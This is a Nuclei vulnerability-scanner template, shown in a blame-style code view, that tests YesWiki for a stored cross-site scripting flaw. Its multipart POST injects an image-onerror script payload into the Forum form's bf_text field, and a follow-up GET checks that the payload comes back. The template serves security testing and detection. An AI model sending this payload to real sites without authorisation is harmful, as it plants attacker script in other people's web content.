nuclei-templates/http/vulnerabilities/other/yeswiki-stored-xss.yaml

73 lines
2.2 KiB
YAML
Raw Normal View History

id: yeswiki-stored-xss
2022-08-08 21:10:20 +00:00
info:
name: YesWiki - Stored Cross-Site Scripting
2022-08-08 21:10:20 +00:00
author: arafatansari
severity: high
2022-08-08 21:10:20 +00:00
description: |
YesWiki contains a stored contains a cross-site scripting vulnerability via the bf_text field when adding a new entry for Forum.
2022-08-08 21:10:20 +00:00
reference:
- https://huntr.dev/bounties/5f27a9b1-c092-47e2-8092-a81298a4b932/
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
cvss-score: 7.2
cwe-id: CWE-79
2022-08-08 21:10:20 +00:00
metadata:
max-request: 2
verified: true
2022-08-08 21:10:20 +00:00
shodan-query: http.html:"yeswiki"
tags: yeswiki,xss,stored,huntr
2022-08-08 21:10:20 +00:00
http:
2022-08-08 21:10:20 +00:00
- raw:
- |
POST /?BazaR&vue=saisir&action=saisir_fiche&id=2 HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryT8dS2PT0WtxACLyu
------WebKitFormBoundaryT8dS2PT0WtxACLyu
Content-Disposition: form-data; name="bf_titre"
blog
------WebKitFormBoundaryT8dS2PT0WtxACLyu
Content-Disposition: form-data; name="bf_text"
2022-08-09 18:36:59 +00:00
"><img src=x onerror=console.log(123);>
2022-08-08 21:10:20 +00:00
------WebKitFormBoundaryT8dS2PT0WtxACLyu
Content-Disposition: form-data; name="file"; filename=""
Content-Type: application/octet-stream
------WebKitFormBoundaryT8dS2PT0WtxACLyu
Content-Disposition: form-data; name="bf_description"
abcd
------WebKitFormBoundaryT8dS2PT0WtxACLyu
Content-Disposition: form-data; name="fichierbf_file"; filename=""
Content-Type: application/octet-stream
------WebKitFormBoundaryT8dS2PT0WtxACLyu
Content-Disposition: form-data; name="antispam"
1
------WebKitFormBoundaryT8dS2PT0WtxACLyu
Content-Disposition: form-data; name="id_typeannonce"
2
------WebKitFormBoundaryT8dS2PT0WtxACLyu--
- |
GET /?BazaR&vue=consulter HTTP/1.1
Host: {{Hostname}}
req-condition: true
2022-08-08 21:10:20 +00:00
matchers:
- type: dsl
dsl:
- "contains(header_2, 'text/html') && contains(header_2, 'YesWiki')"
- "status_code_2 == 200"
2022-08-09 18:36:59 +00:00
- contains(body_2, '><img src=x onerror=console.log(123);>')
2022-08-08 21:10:20 +00:00
condition: and
# Enhanced by mp on 2022/09/23